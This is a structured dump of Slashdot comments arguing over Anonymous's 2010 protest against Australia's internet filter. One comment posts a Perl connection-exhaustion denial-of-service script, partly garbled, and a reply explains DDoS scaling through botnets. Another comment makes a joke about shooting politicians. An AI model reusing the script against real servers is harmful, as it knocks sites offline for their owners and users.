	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141750</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266224400000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext>Loser.</htmltext>
<tokenext>Loser .</tokentext>
<sentencetext>Loser.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142498</id>
	<title>Re:Storm of chicks?</title>
	<author>LenenBKR</author>
	<datestamp>1266234660000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Would love to hear more...</htmltext>
<tokenext>Would love to hear more.. .</tokentext>
<sentencetext>Would love to hear more...</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141372</id>
	<title>Sounds good....</title>
	<author>Fotograf</author>
	<datestamp>1266177180000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>will take whatever they are selling</htmltext>
<tokenext>will take whatever they are selling</tokentext>
<sentencetext>will take whatever they are selling</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Zorque</author>
	<datestamp>1266225240000</datestamp>
	<modclass>None</modclass>
	<modscore>2</modscore>
	<htmltext><p>Like the fact that they constantly run unfunny memes into the ground because none of them have a shred of originality, or that they think child porn is funny? Is that criticism enough?</p></htmltext>
<tokenext>Like the fact that they constantly run unfunny memes into the ground because none of them have a shred of originality , or that they think child porn is funny ?
Is that criticism enough ?</tokentext>
<sentencetext>Like the fact that they constantly run unfunny memes into the ground because none of them have a shred of originality, or that they think child porn is funny?
Is that criticism enough?</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392</id>
	<title>WRONG!</title>
	<author>consonant</author>
	<datestamp>1266233160000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>5</modscore>
	<htmltext><blockquote><div><p>The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.</p></div></blockquote><p>
<b>*YOU*</b> should have the right to deem what is appropriate for you or your family to be exposed to.</p></div>
	</htmltext>
<tokenext>The public , not the Government , should have the right to decide what is deemed appropriate for you or your family to be exposed to .
* YOU * should have the right to deem what is appropriate for you or your family to be exposed to .</tokentext>
<sentencetext>The public, not the Government, should have the right to decide what is deemed appropriate for you or your family to be exposed to.
*YOU* should have the right to deem what is appropriate for you or your family to be exposed to.
	</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145388</id>
	<title>Re:Oh come on now... Don't encourage them.</title>
	<author>tehcyder</author>
	<datestamp>1266255780000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>Where is the Amnesty protest?</p></div>
</blockquote><p>
I didn't realise that the Australian government was going to illegally imprison and torture people over this.</p></div>
	</htmltext>
<tokenext>Where is the Amnesty protest ?
I did n't realise that the Australian government was going to illegally imprison and torture people over this .</tokentext>
<sentencetext>Where is the Amnesty protest?
I didn't realise that the Australian government was going to illegally imprison and torture people over this.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141486</id>
	<title>Attention Span.</title>
	<author>headkase</author>
	<datestamp>1266264420000</datestamp>
	<modclass>Troll</modclass>
	<modscore>0</modscore>
	<htmltext>So many people are completely insulated in what they want to believe (i.e. the sites they choose to go to) that the real enemy isn't what is right or wrong in what is happening.  The real enemy is getting attention to your cause at the correct time.  Anonymous is a major threat to all governments, they have the potential through their own "brand recognition" to bring enough eyeballs to a topic at the exact correct time that enough of them will stick and actually make some, no matter how minor, difference.  This is a threat, it must be stopped or corporatism will fail.<nobr> <wbr></nobr>;)</htmltext>
<tokenext>So many people are completely insulated in what they want to believe ( i.e .
the sites they choose to go to ) that the real enemy is n't what is right or wrong in what is happening .
The real enemy is getting attention to your cause at the correct time .
Anonymous is a major threat to all governments , they have the potential through their own " brand recognition " to bring enough eyeballs to a topic at the exact correct time that enough of them will stick and actually make some , no matter how minor , difference .
This is a threat , it must be stopped or corporatism will fail .
; )</tokentext>
<sentencetext>So many people are completely insulated in what they want to believe (i.e.
the sites they choose to go to) that the real enemy isn't what is right or wrong in what is happening.
The real enemy is getting attention to your cause at the correct time.
Anonymous is a major threat to all governments, they have the potential through their own "brand recognition" to bring enough eyeballs to a topic at the exact correct time that enough of them will stick and actually make some, no matter how minor, difference.
This is a threat, it must be stopped or corporatism will fail.
;)</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141416</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266177480000</datestamp>
	<modclass>Funny</modclass>
	<modscore>2</modscore>
	<htmltext><p><div class="quote"><p>It is immature and reeks of disorganization.</p></div><p>You've never heard of Anonymous, have you?</p></div>
	</htmltext>
<tokenext>It is immature and reeks of disorganization.You 've never heard of Anonymous , have you ?</tokentext>
<sentencetext>It is immature and reeks of disorganization.You've never heard of Anonymous, have you?
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141496</id>
	<title>Re:"tit storm"</title>
	<author>PCM2</author>
	<datestamp>1266264540000</datestamp>
	<modclass>Funny</modclass>
	<modscore>5</modscore>
	<htmltext><p><div class="quote"><p>It is immature and reeks of disorganization.</p></div><p>What a strange thing to say about a group that originated on 4chan.</p></div>
	</htmltext>
<tokenext>It is immature and reeks of disorganization.What a strange thing to say about a group that originated on 4chan .</tokentext>
<sentencetext>It is immature and reeks of disorganization.What a strange thing to say about a group that originated on 4chan.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150172</id>
	<title>Re:Question</title>
	<author>Miseph</author>
	<datestamp>1266236160000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>GP implied that most SLASHDOT READERS are not American, I asserted that most, in fact, are. As evidenced by Slashdot's management and administrators saying so (and I don't see any good reason for them to lie about it).</p><p>Whether or not most internet users are American is another question entirely, and one that I have not seen any reliable means of measuring (especially given that connections != users).</p></htmltext>
<tokenext>GP implied that most SLASHDOT READERS are not American , I asserted that most , in fact , are .
As evidenced by Slashdot 's management and administrators saying so ( and I do n't see any good reason for them to lie about it ) .Whether or not most internet users are American is another question entirely , and one that I have not seen any reliable means of measuring ( especially given that connections ! = users ) .</tokentext>
<sentencetext>GP implied that most SLASHDOT READERS are not American, I asserted that most, in fact, are.
As evidenced by Slashdot's management and administrators saying so (and I don't see any good reason for them to lie about it).Whether or not most internet users are American is another question entirely, and one that I have not seen any reliable means of measuring (especially given that connections != users).</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142134</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31148250</id>
	<title>Re:"tit storm"</title>
	<author>Atanamis</author>
	<datestamp>1266226860000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><blockquote><div><p>You have no idea how politics works. People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.</p></div></blockquote><p>That's at least in part because both sides are doing the same thing. Democrats in the US now run the Congress and the Presidency, and do you see any shame from them about being "partial, biased, and at the same time abjectly failing to do their jobs"? Too many voters will vote a party ticket no matter what is being done by their party, and neither party can be trusted to do what they say they will do. I'd like to see some debates held before a grand jury so that outright lies by the politicians could have legal consequences. Both parties do it constantly, and so long as deception carries no consequences they will continue to do so.</p></div>
	</htmltext>
<tokenext>You have no idea how politics works .
People opposed to the Republican Party in the U.S. have been doing that for 10 years , however that only works if your opponents have shame , which people in politics typically lack.That 's at least in part because both sides are doing the same thing .
Democrats in the US now run the Congress and the Presidency , and do you see any shame from them about being " partial , biased , and at the same time abjectly failing to do their jobs " ?
Too many voters will vote a party ticket no matter what is being done by their party , and neither party can be trusted to do what they say they will do .
I 'd like to see some debates held before a grand jury so that outright lies by the politicians could have legal consequences .
Both parties do it constantly , and so long as deception carries no consequences they will continue to do so .</tokentext>
<sentencetext>You have no idea how politics works.
People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.That's at least in part because both sides are doing the same thing.
Democrats in the US now run the Congress and the Presidency, and do you see any shame from them about being "partial, biased, and at the same time abjectly failing to do their jobs"?
Too many voters will vote a party ticket no matter what is being done by their party, and neither party can be trusted to do what they say they will do.
I'd like to see some debates held before a grand jury so that outright lies by the politicians could have legal consequences.
Both parties do it constantly, and so long as deception carries no consequences they will continue to do so.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141402</id>
	<title>5 days? Who set this up, EFG?</title>
	<author>bersl2</author>
	<datestamp>1266177420000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>This operation has set sail for fail. Not nearly enough time to get enough people involved.</p><p>I think it's at least worth a shot, but Feb. 20 is way too soon if you go by the various forums reached by following the links.</p></htmltext>
<tokenext>This operation has set sail for fail .
Not nearly enough time to get enough people involved.I think it 's at least worth a shot , but Feb. 20 is way too soon if you go by the various forums reached by following the links .</tokentext>
<sentencetext>This operation has set sail for fail.
Not nearly enough time to get enough people involved.I think it's at least worth a shot, but Feb. 20 is way too soon if you go by the various forums reached by following the links.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141800</id>
	<title>Re:"tit storm"</title>
	<author>h4rm0ny</author>
	<datestamp>1266225060000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext><blockquote><div><p>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.</p></div></blockquote><p>
Why? Seriously, why should it be immature? If there was ever a cause where it <i>was</i> appropriate to use the word tits in your movement, it's this one. One of the best ways to undermine censorship is with humour. This sort of full-frontal, in your face attitude is a good thing. Whereas I think your advocation of invading people's privacy and smearing them for doing legal things is nasty. This law is wrong and I argue against it on those grounds, not by adopting the same tactics as those who oppose me and making the legislative process a battle of who can make the other party look worst. Aside from that, when you use these tactics, you state that you believe these things are indeed bad. If you start leaping up and down pointing at your opponents saying "look - they got wasted, look they browsed porn", then you really undermine your efforts to stop people being judged / condemned for getting wasted or browsing porn, do you not?
<br>

And what would you do if you found proponents of these laws really didn't commit adultery, get wasted in public</p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization .
Why ? Seriously , why should it be immature ?
If there was ever a cause where it was appropriate to use the word tits in your movement , it 's this one .
One of the best ways to undermine censorship is with humour .
This sort of full-frontal , in your face attitude is a good thing .
Whereas I think your advocation of invading people 's privacy and smearing them for doing legal things is nasty .
This law is wrong and I argue against it on those grounds , not by adopting the same tactics as those who oppose me and making the legislative process a battle of who can make the other party look worst .
Aside from that , when you use these tactics , you state that you believe these things are indeed bad .
If you start leaping up and down pointing at your opponents saying " look - they got wasted , look they browsed porn " , then you really undermine your efforts to stop people being judged / condemned for getting wasted or browsing porn , do you not ?
And what would you do if you found proponents of these laws really did n't commit adultery , get wasted in public</tokentext>
<sentencetext>Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.
Why? Seriously, why should it be immature?
If there was ever a cause where it was appropriate to use the word tits in your movement, it's this one.
One of the best ways to undermine censorship is with humour.
This sort of full-frontal, in your face attitude is a good thing.
Whereas I think your advocation of invading people's privacy and smearing them for doing legal things is nasty.
This law is wrong and I argue against it on those grounds, not by adopting the same tactics as those who oppose me and making the legislative process a battle of who can make the other party look worst.
Aside from that, when you use these tactics, you state that you believe these things are indeed bad.
If you start leaping up and down pointing at your opponents saying "look - they got wasted, look they browsed porn", then you really undermine your efforts to stop people being judged / condemned for getting wasted or browsing porn, do you not?
And what would you do if you found proponents of these laws really didn't commit adultery, get wasted in public
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141482</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>HamSammy</author>
	<datestamp>1266264420000</datestamp>
	<modclass>Funny</modclass>
	<modscore>3</modscore>
	<htmltext><p><div class="quote"><p> <i>trips to the minifridge to get more Cheetos.</i></p></div><p>Introducing new, Cheetos Pops&#174;! An icy, cheesy taste explosion that will be stuck to your fingers, faces, and family members for days! Find them in the freezer aisle at your local grocery store today!<br>
<br>
WARNING: This product contains chemicals known to the State of California to cause awesome, birth superpowers, or other reproductive boons. Never wash hands after handling.</p></div>
	</htmltext>
<tokenext>trips to the minifridge to get more Cheetos.Introducing new , Cheetos Pops   !
An icy , cheesy taste explosion that will be stuck to your fingers , faces , and family members for days !
Find them in the freezer aisle at your local grocery store today !
WARNING : This product contains chemicals known to the State of California to cause awesome , birth superpowers , or other reproductive boons .
Never wash hands after handling .</tokentext>
<sentencetext> trips to the minifridge to get more Cheetos.Introducing new, Cheetos Pops®!
An icy, cheesy taste explosion that will be stuck to your fingers, faces, and family members for days!
Find them in the freezer aisle at your local grocery store today!
WARNING: This product contains chemicals known to the State of California to cause awesome, birth superpowers, or other reproductive boons.
Never wash hands after handling.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141564</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>h4rm0ny</author>
	<datestamp>1266265440000</datestamp>
	<modclass>Insightful</modclass>
	<modscore>4</modscore>
	<htmltext><br>
Being college-aged is a negative quality, now? Historically, students have been some of the most vocal in protecting our rights. If your point is that people of this age have less influence on society than older people, well I'd say that young people today are the adults of tomorrow and I'd sooner see college-age people protesting and hopefully retaining those attitudes and sympathies as they get older, than not see them protesting.
<br> <br>
As regards basement-dwelling and eating cheetos, well you have no idea where they're living or what they're eating. Neither, by the way, did I realise affects your political activism.</htmltext>
<tokenext>Being college-aged is a negative quality , now ?
Historically , students have been some of the most vocal in protecting our rights .
If your point is that people of this age have less influence on society than older people , well I 'd say that young people today are the adults of tomorrow and I 'd sooner see college-age people protesting and hopefully retaining those attitudes and sympathies as they get older , than not see them protesting .
As regards basement-dwelling and eating cheetos , well you have no idea where they 're living or what they 're eating .
Neither , by the way , did I realise affects your political activism .</tokentext>
<sentencetext>
Being college-aged is a negative quality, now?
Historically, students have been some of the most vocal in protecting our rights.
If your point is that people of this age have less influence on society than older people, well I'd say that young people today are the adults of tomorrow and I'd sooner see college-age people protesting and hopefully retaining those attitudes and sympathies as they get older, than not see them protesting.
As regards basement-dwelling and eating cheetos, well you have no idea where they're living or what they're eating.
Neither, by the way, did I realise affects your political activism.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141518</id>
	<title>Re:"tit storm"</title>
	<author>Anonymous</author>
	<datestamp>1266264840000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><blockquote><div><p> <em>Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.</em></p></div> </blockquote><p>Indeed. It should have been named, <em>"Operation Cockapocalypse."</em></p></div>
	</htmltext>
<tokenext>Really guys , naming your protest after female anatomy does nothing to help the cause .
It is immature and reeks of disorganization .
Indeed. It should have been named , " Operation Cockapocalypse .
"</tokentext>
<sentencetext> Really guys, naming your protest after female anatomy does nothing to help the cause.
It is immature and reeks of disorganization.
Indeed. It should have been named, "Operation Cockapocalypse.
"
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142658</id>
	<title>Re:Will be interesting, but...</title>
	<author>Anonymous</author>
	<datestamp>1266236940000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>We're not apathetic. We just disagree with you.</p></htmltext>
<tokenext>We 're not apathetic .
We just disagree with you .</tokentext>
<sentencetext>We're not apathetic.
We just disagree with you.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153616</id>
	<title>Re:Will be interesting, but...</title>
	<author>dpastern</author>
	<datestamp>1266318180000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>Most Aussies are both lazy and stupid.  They'll eat any BS that the government feeds to them.  Sad, but true.  The time is approaching where more drastic needs are required to shove it down our idiotic politicians throats that they do not support what the public wants.  So many politicians, so few bullets.</p><p>Dave</p></htmltext>
<tokenext>Most Aussies are both lazy and stupid .
They 'll eat any BS that the government feeds to them .
Sad , but true .
The time is approaching where more drastic needs are required to shove it down our idiotic politicians throats that they do not support what the public wants .
So many politicians , so few bullets.Dave</tokentext>
<sentencetext>Most Aussies are both lazy and stupid.
They'll eat any BS that the government feeds to them.
Sad, but true.
The time is approaching where more drastic needs are required to shove it down our idiotic politicians throats that they do not support what the public wants.
So many politicians, so few bullets.Dave</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142170</id>
	<title>Re:Curiosity</title>
	<author>club</author>
	<datestamp>1266230160000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>Purely for educational purposes, have some Perl:

This isn't mine, it was posted to a different Slashdot topic a while back. I have an adapted Perl version and I ported it to Python but I can't ignore the niggly voice in my head telling me not to post them<nobr> <wbr></nobr>:/

<tt>use IO::Socket::INET;
use strict;
use constant DEFAULT\_PORT =&gt; "http";

MAIN: {
if(@ARGV2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT\_PORT;

my(@sockets);

for(my $cnt=0;$cnt$host,
PeerPort=&gt;$port,
Proto=&gt;"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket-&gt;print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets." open.\n";
}
}</tt>

Continously opens sockets to the webserver without closing them. Which brings down most websites on Apache with a default configuration, provided they don't have a cache (like varnishd) in front of the web-server.</htmltext>
<tokenext>Purely for educational purposes , have some Perl : This is n't mine , it was posted to a different Slashdot topic a while back .
I have an adapted Perl version and I ported it to Python but I ca n't ignore the niggly voice in my head telling me not to post them : / use IO : : Socket : : INET ; use strict ; use constant DEFAULT \ _PORT = &gt; " http " ; MAIN : { if ( @ ARGV2 ) { die " Usage : $ 0 host [ port ] \ n " ; } my ( $ host ) = shift ; my ( $ port ) = @ ARGV ? shift : DEFAULT \ _PORT ; my ( @ sockets ) ; for ( my $ cnt = 0 ; $ cnt $ host , PeerPort = &gt; $ port , Proto = &gt; " tcp " ) ; unless ( defined ( $ socket ) ) { die " Can not create socket to $ host : $ port-- $ ! \ n " ; } $ socket- &gt; print ( " \ r \ n " ) ; push ( @ sockets , $ socket ) ; print " Have " . @ sockets .
" open. \ n " ; } } Continously opens sockets to the webserver without closing them .
Which brings down most websites on Apache with a default configuration , provided they do n't have a cache ( like varnishd ) in front of the web-server .</tokentext>
<sentencetext>Purely for educational purposes, have some Perl:

This isn't mine, it was posted to a different Slashdot topic a while back.
I have an adapted Perl version and I ported it to Python but I can't ignore the niggly voice in my head telling me not to post them :/

use IO::Socket::INET;
use strict;
use constant DEFAULT\_PORT =&gt; "http";

MAIN: {
if(@ARGV2) {
die "Usage: $0 host [port]\n";
}
my($host)=shift;
my($port)=@ARGV?shift:DEFAULT\_PORT;

my(@sockets);

for(my $cnt=0;$cnt$host,
PeerPort=&gt;$port,
Proto=&gt;"tcp");
unless(defined($socket)) {
die "Cannot create socket to $host:$port--$!\n";
}
$socket-&gt;print("\r\n");
push(@sockets,$socket);
print " Have ".@sockets.
" open.\n";
}
}

Continously opens sockets to the webserver without closing them.
Which brings down most websites on Apache with a default configuration, provided they don't have a cache (like varnishd) in front of the web-server.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334</id>
	<title>Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266176820000</datestamp>
	<modclass>Troll</modclass>
	<modscore>-1</modscore>
	<htmltext><p><i>"Many of our number (Anonymous) are productive, intelligent members of society," said Infinite, who is a Web designer.</i></p><p>But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.</p></htmltext>
<tokenext>" Many of our number ( Anonymous ) are productive , intelligent members of society , " said Infinite , who is a Web designer.But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos .</tokentext>
<sentencetext>"Many of our number (Anonymous) are productive, intelligent members of society," said Infinite, who is a Web designer.But most of them are college-age basement dwellers who type out their screeds in between trips to the minifridge to get more Cheetos.</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143678</id>
	<title>yro</title>
	<author>AlgorithMan</author>
	<datestamp>1266247680000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext>your rights online: none</htmltext>
<tokenext>your rights online : none</tokentext>
<sentencetext>your rights online: none</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141732</id>
	<title>Anonymous</title>
	<author>Anonymous</author>
	<datestamp>1266267360000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>We are anonymous<br>We are legion<br>We do not forgive<br>We do not forget</p></htmltext>
<tokenext>We are anonymousWe are legionWe do not forgiveWe do not forget</tokentext>
<sentencetext>We are anonymousWe are legionWe do not forgiveWe do not forget</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142536</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>bertoelcon</author>
	<datestamp>1266235440000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p><div class="quote"><p>I could be confused - but is "protestors" a word??</p></div><p>Seems like it <a href="http://dictionary.reference.com/browse/word" title="reference.com">http://dictionary.reference.com/browse/word</a> [reference.com].</p><p> <em>Word</em> -noun</p><p> a unit of language, consisting of one or more spoken sounds or their written representation, that functions as a principal carrier of meaning. Words are composed of one or more morphemes and are either the smallest units susceptible of independent use or consist of two or three such units combined under certain linking conditions, as with the loss of primary accent that distinguishes blackbird from black bird. Words are usually separated by spaces in writing, and are distinguished phonologically, as by accent, in many languages.</p></div>
	</htmltext>
<tokenext>I could be confused - but is " protestors " a word ?
? Seems like it http : //dictionary.reference.com/browse/word [ reference.com ] .
Word -noun a unit of language , consisting of one or more spoken sounds or their written representation , that functions as a principal carrier of meaning .
Words are composed of one or more morphemes and are either the smallest units susceptible of independent use or consist of two or three such units combined under certain linking conditions , as with the loss of primary accent that distinguishes blackbird from black bird .
Words are usually separated by spaces in writing , and are distinguished phonologically , as by accent , in many languages .</tokentext>
<sentencetext>I could be confused - but is "protestors" a word?
?Seems like it http://dictionary.reference.com/browse/word [reference.com].
Word -noun a unit of language, consisting of one or more spoken sounds or their written representation, that functions as a principal carrier of meaning.
Words are composed of one or more morphemes and are either the smallest units susceptible of independent use or consist of two or three such units combined under certain linking conditions, as with the loss of primary accent that distinguishes blackbird from black bird.
Words are usually separated by spaces in writing, and are distinguished phonologically, as by accent, in many languages.
	</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141614</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146144</id>
	<title>Misrepresented</title>
	<author>hrimhari</author>
	<datestamp>1266259740000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
	<htmltext><p>I don't know about you, but I wouldn't feel represented by hackers cracking into websites. I also don't think that to be the best approach for protesting against net censoring laws. At best, it increases the general population's feeling that WWW is actually World <i>Wild</i> Web and that <i>something</i> has to be done to tame it. It just happens that the Aussie Government may be doing the wrong something.</p><p>How would it be like if the Al Qaida began a terrorism campaign to protest against the latest anti-freedom measures adopted in the US?</p></htmltext>
<tokenext>I do n't know about you , but I would n't feel represented by hackers cracking into websites .
I also do n't think that to be the best approach for protesting against net censoring laws .
At best , it increases the general population 's feeling that WWW is actually World Wild Web and that something has to be done to tame it .
It just happens that the Aussie Government may be doing the wrong something.How would it be like if the Al Qaida began a terrorism campaign to protest against the latest anti-freedom measures adopted in the US ?</tokentext>
<sentencetext>I don't know about you, but I wouldn't feel represented by hackers cracking into websites.
I also don't think that to be the best approach for protesting against net censoring laws.
At best, it increases the general population's feeling that WWW is actually World Wild Web and that something has to be done to tame it.
It just happens that the Aussie Government may be doing the wrong something.How would it be like if the Al Qaida began a terrorism campaign to protest against the latest anti-freedom measures adopted in the US?</sentencetext>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143250</id>
	<title>Re:Well Then...</title>
	<author>Anonymous</author>
	<datestamp>1266244320000</datestamp>
	<modclass>Interestin</modclass>
	<modscore>1</modscore>
	<htmltext><p>making it TRULY a government of the people. . . As an Anonymous Coward, I welcome this opportunity to welcome my new Anonymous overlords.</p></htmltext>
<tokenext>making it TRULY a government of the people .
. .
As an Anonymous Coward , I welcome this opportunity to welcome my new Anonymous overlords .</tokentext>
<sentencetext>making it TRULY a government of the people.
. .
As an Anonymous Coward, I welcome this opportunity to welcome my new Anonymous overlords.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143990</id>
	<title>Re:Curiosity</title>
	<author>Anonymous</author>
	<datestamp>1266249300000</datestamp>
	<modclass>None</modclass>
	<modscore>0</modscore>
	<htmltext><p>You're missing the first D in DDOS.<br>But yes, it is fairly easy.</p><p>For a truly effective *D*DOS you have to either rally tens of thousands of people, more than can be efficiently blocked at the firewalls, or else have a medium size botnet.</p></htmltext>
<tokenext>You 're missing the first D in DDOS.But yes , it is fairly easy.For a truly effective * D * DOS you have to either rally tens of thousands of people , more than can be efficiently blocked at the firewalls , or else have a medium size botnet .</tokentext>
<sentencetext>You're missing the first D in DDOS.But yes, it is fairly easy.For a truly effective *D*DOS you have to either rally tens of thousands of people, more than can be efficiently blocked at the firewalls, or else have a medium size botnet.</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142468</id>
	<title>Damn that George Bush</title>
	<author>Anonymous</author>
	<datestamp>1266234060000</datestamp>
	<modclass>Troll</modclass>
	<modscore>-1</modscore>
	<htmltext><p>Damn that George Bush!  I didn't know he'd moved to Australia now in addition to still being President of the US and Guantanamo Bay still open and having another surge in Afghanistan!</p></htmltext>
<tokenext>Damn that George Bush !
I did n't know he 'd moved to Australia now in addition to still being President of the US and Guantanamo Bay still open and having another surge in Afghanistan !</tokentext>
<sentencetext>Damn that George Bush!
I didn't know he'd moved to Australia now in addition to still being President of the US and Guantanamo Bay still open and having another surge in Afghanistan!</sentencetext>
	<parent>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312</parent>
</comment>
<comment>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143698</id>
	<title>Re:Tits or not, no one listens to protestors</title>
	<author>Anonymous</author>
	<datestamp>1266247740000</datestamp>
	<modclass>None</modclass>
	<modscore>1</modscore>
